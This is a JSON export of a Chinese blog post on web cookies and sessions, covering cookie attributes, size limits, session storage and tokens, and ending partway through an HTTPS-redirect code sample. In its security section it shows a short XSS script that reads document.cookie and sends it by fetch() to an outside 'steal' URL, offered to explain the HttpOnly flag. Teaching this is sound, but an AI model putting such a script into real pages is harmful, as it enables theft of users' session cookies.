{"id":276,"date":"2026-01-04T10:40:16","date_gmt":"2026-01-04T02:40:16","guid":{"rendered":"https:\/\/blog.marsrains.top\/?p=276"},"modified":"2026-04-03T14:56:29","modified_gmt":"2026-04-03T06:56:29","slug":"cookie%e5%92%8csession","status":"publish","type":"post","link":"https:\/\/myblog.marsrains.top\/?p=276","title":{"rendered":"Cookie\u548cSession"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">Cookie<\/h2>\n\n\n\n<details class=\"wp-block-details is-layout-flow wp-block-details-is-layout-flow\"><summary>Cookie\u662f\u4ec0\u4e48<\/summary>\n<p>\u670d\u52a1\u5668\u53d1\u9001\u5230\u7528\u6237\u6d4f\u89c8\u5668\u5e76\u4fdd\u5b58\u5728\u672c\u5730\u7684\u4e00\u5c0f\u5757\u6570\u636e\uff0c\u5e76\u4e14\u6d4f\u89c8\u5668\u4f1a\u5728\u540e\u7eed\u8bf7\u6c42\u4e2d\u81ea\u52a8\u643a\u5e26cookie\u53d1\u9001\u7ed9\u670d\u52a1\u5668<\/p>\n<\/details>\n\n\n\n<h3 class=\"wp-block-heading\">Cookie\u7684\u5c5e\u6027\u53ca\u5176\u4f5c\u7528<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>Set-Cookie: session_id=abc123; \u2460\n            Path=\/;\u2461\n            Domain=example.com;\u2462\n            Max-Age=3600;\u2463\n            Secure;\u2464\n            HttpOnly;\u2465\n            SameSite=Lax\u2466<\/code><\/pre>\n\n\n\n<div data-wp-context=\"{ &quot;autoclose&quot;: false, &quot;accordionItems&quot;: [] }\" data-wp-interactive=\"core\/accordion\" role=\"group\" class=\"wp-block-accordion is-layout-flow wp-block-accordion-is-layout-flow\">\n<div data-wp-class--is-open=\"state.isOpen\" data-wp-context=\"{ &quot;id&quot;: &quot;accordion-item-1&quot;, &quot;openByDefault&quot;: false }\" data-wp-init=\"callbacks.initAccordionItems\" data-wp-on-window--hashchange=\"callbacks.hashChange\" class=\"wp-block-accordion-item is-layout-flow wp-block-accordion-item-is-layout-flow\">\n<h3 class=\"wp-block-accordion-heading\"><button aria-expanded=\"false\" aria-controls=\"accordion-item-1-panel\" data-wp-bind--aria-expanded=\"state.isOpen\" data-wp-on--click=\"actions.toggle\" data-wp-on--keydown=\"actions.handleKeyDown\" id=\"accordion-item-1\" class=\"wp-block-accordion-heading__toggle\"><span class=\"wp-block-accordion-heading__toggle-title\"><\/span><span class=\"wp-block-accordion-heading__toggle-icon\" aria-hidden=\"true\">+<\/span><\/button><\/h3>\n\n\n\n<div inert aria-labelledby=\"accordion-item-1\" data-wp-bind--inert=\"!state.isOpen\" id=\"accordion-item-1-panel\" role=\"region\" class=\"wp-block-accordion-panel is-layout-flow wp-block-accordion-panel-is-layout-flow\">\n<p><\/p>\n<\/div>\n<\/div>\n<\/div>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u2460\u8bbe\u7f6ecookie\u7684\u540d\u79f0\u662fabc123<\/li>\n\n\n\n<li>\u2461\u8868\u793a\u5728\u8fd9\u4e2a\u7f51\u7ad9\u7684\u6240\u6709\u8def\u5f84\u4e0b\u90fd\u6709\u6548<\/li>\n\n\n\n<li>\u2462\u5728example.com\u7684\u53ca\u5176\u6240\u6709\u5b50\u57df\u540d\u4e0b\u90fd\u6709\u6548<\/li>\n\n\n\n<li>\u2463\u6709\u6548\u65f6\u957f\u662f3600\u79d2 <br><mark style=\"background-color:#f78da7\" class=\"has-inline-color\">\u6ce8\uff1a\u5982\u679c\u5c5e\u6027\u4e3aexpires\u5219\u4e3a\u7edd\u5bf9\u65f6\u95f4 \u683c\u5f0f\u4e3a\uff1aExpires=Sun,4 Jan 2026 9:40:08 GMT\uff1b<\/mark><br><mark style=\"background-color:#f78da7\" class=\"has-inline-color\">\u5982\u679c\u90fd\u672a\u8bbe\u7f6e\uff0c\u5219\u4e3a\u56de\u8bddcookie\uff08\u6d4f\u89c8\u5668\u5173\u95ed\u5c31\u4f1a\u5220\u9664\uff09<\/mark><\/li>\n\n\n\n<li>\u2464\u53ea\u80fd\u901a\u8fc7https\u4f20\u8f93<\/li>\n\n\n\n<li>\u2465\u7981\u6b62javascript\u901a\u8fc7<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">document.cookie<\/mark>\u8bbf\u95eecookie\uff08\u9632\u6b62<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">xss\u653b\u51fb<\/mark>\uff09<br><mark style=\"background-color:#f78da7\" class=\"has-inline-color\">xss\u653b\u51fb\uff1a\u5728\u7f51\u9875\u6ce8\u5165\u6076\u610fjavascript\u4ee3\u7801\u6765\u7a83\u53d6\u7528\u6237\u4fe1\u606f<\/mark><\/li>\n\n\n\n<li>\u2466\u9632\u6b62<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">CSRF<\/mark>\u653b\u51fb\uff1a\u8de8\u7ad9\u8bf7\u6c42\u4e2d\u4e0d\u53d1\u9001\u6b64cookie<br><mark style=\"background-color:#f78da7\" class=\"has-inline-color\">Strict:\u5b8c\u5168\u7981\u6b62\u8de8\u7ad9\u53d1\u9001<br>Lax:\u90e8\u5206\u5141\u8bb8<br>None:\u5141\u8bb8\u8de8\u7ad9\u53d1\u9001\uff08\u5fc5\u987b\u914d\u5408secure\uff09<\/mark><\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Cookie\u7684\u9650\u5236<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5927\u5c0f\uff1a\u6bcf\u4e2acookie\u6700\u5927\u7ea64KB<\/li>\n\n\n\n<li>\u6570\u91cf\uff1a\u57df\u540d\u7ea620-50\u4e2acookie<\/li>\n\n\n\n<li>\u603b\u5927\u5c0f\uff1a\u6bcf\u4e2a\u57df\u540d\u7684\u6240\u6709cookie\u603b\u5927\u5c0f\u7ea64KB<\/li>\n\n\n\n<li>\u5b89\u5168\u6027\uff1a\u53ef\u80fd\u88ab\u7a83\u53d6\u6216\u7be1\u6539<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Session<\/h2>\n\n\n\n<details class=\"wp-block-details is-layout-flow wp-block-details-is-layout-flow\"><summary>session\u5b9a\u4e49<\/summary>\n<p><\/p>\n<\/details>\n\n\n\n<p>\u670d\u52a1\u5668\u7aef\u7684\u4f1a\u8bdd\u673a\u5236\uff0c\u6765\u5b58\u50a8\u7528\u6237\u7684\u4f1a\u8bdd\u6570\u636e\uff0c\u5b58\u50a8\u5728\u670d\u52a1\u5668<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u5b58\u50a8\u65b9\u5f0f<\/h3>\n\n\n\n<p>1.\u5185\u5b58\u5b58\u50a8<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u670d\u52a1\u5668\u5185\u5b58<\/li>\n\n\n\n<li>\u901f\u5ea6\u5feb<\/li>\n\n\n\n<li>\u91cd\u542f\u540e\u4e22\u5931<\/li>\n\n\n\n<li>\u4e0d\u9002\u5408\u591a\u670d\u52a1\u5668\u6587\u4ef6\u5b58\u50a8<\/li>\n<\/ul>\n\n\n\n<p>2.\u6587\u4ef6\u5b58\u50a8<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5728\u670d\u52a1\u5668\u6587\u4ef6\u7cfb\u7edf\u4e2d<\/li>\n\n\n\n<li>\u6301\u4e45\u5316<\/li>\n\n\n\n<li>\u901f\u5ea6\u6162<\/li>\n\n\n\n<li>\u5b9a\u671f\u6e05\u7406<\/li>\n<\/ul>\n\n\n\n<p>3.\u6570\u636e\u5e93\u5b58\u50a8<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5728\u6570\u636e\u5e93\u4e2d<\/li>\n\n\n\n<li>\u6301\u4e45\u5316<\/li>\n\n\n\n<li>\u53ef\u591a\u670d\u52a1\u5668<\/li>\n\n\n\n<li>\u901f\u5ea6\u53d6\u51b3\u4e8e\u6570\u636e\u5e93\u6027\u80fd<\/li>\n<\/ul>\n\n\n\n<p>4.\u7f13\u5b58\u5b58\u50a8<mark style=\"background-color:#00d084\" class=\"has-inline-color\">\uff08\u63a8\u8350\uff09<\/mark><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5728\u7f13\u5b58\u7cfb\u7edf\u4e2d<\/li>\n\n\n\n<li>\u901f\u5ea6\u5feb<\/li>\n\n\n\n<li>\u53ef\u591a\u670d\u52a1\u5668<\/li>\n\n\n\n<li>\u53ef\u8bbe\u7f6e\u8fc7\u671f\u65f6\u95f4<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Session\u66ff\u4ee3\u65b9\u6848\uff1aToken\uff08\u4ee4\u724c\uff09<\/h3>\n\n\n\n<p>\u4f18\u70b9\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u65e0\u72b6\u6001\uff0c\u670d\u52a1\u5668\u4e0d\u9700\u8981\u5b58\u50a8<\/li>\n\n\n\n<li>\u9002\u5408\u5206\u5e03\u5f0f<\/li>\n\n\n\n<li>\u652f\u6301\u8de8\u57df<\/li>\n\n\n\n<li>\u79fb\u52a8\u5e94\u7528\u53cb\u597d<\/li>\n<\/ul>\n\n\n\n<p>\u7f3a\u70b9\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5360\u7528\u8f83\u5927<\/li>\n\n\n\n<li>\u65e0\u6cd5\u4e3b\u52a8\u5931\u6548<\/li>\n\n\n\n<li>\u5ba2\u6237\u7aef\u8981\u5b58\u50a8<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">\u6df1\u5c42\u5b89\u5168\u95ee\u9898<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Cookie<\/h3>\n\n\n\n<p>\u5bf9\u4e8e\u672a\u5f00HttpOnly\u5b9e\u65bd\u653b\u51fb\u7684\u7b80\u5355\u811a\u672c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ \u653b\u51fb\u8005\u6ce8\u5165\u7684\u6076\u610f\u811a\u672c\n&lt;script&gt;\n\/\/ \u7a83\u53d6 Cookie\nvar stolen = document.cookie;\n\/\/ \u53d1\u9001\u5230\u653b\u51fb\u8005\u670d\u52a1\u5668\nfetch('https:\/\/marsrains.com\/steal?cookie=' + stolen);\n&lt;\/script&gt;<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">Secure\u5c5e\u6027\uff1a\u9632\u6b62\u4e2d\u95f4\u4eba\u653b\u51fb<\/h4>\n\n\n\n<p>\u8bf4\u767d\u4e86\u5c31\u662f\u53ea\u5728https\u94fe\u63a5\u4e2d\u53d1\u9001<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>app.use((req, res, next) =&gt; {\n    if (!req.secure &amp;&amp; req.get('x-forwarded-proto') !== 'https') {\n        return res.redirect('https:\/\/' + req.get('host') + req.url);\n    }\n    next();\n});\n\n\/\/ \u8bbe\u7f6e Secure Cookie\nres.cookie('session_id', sessionId, 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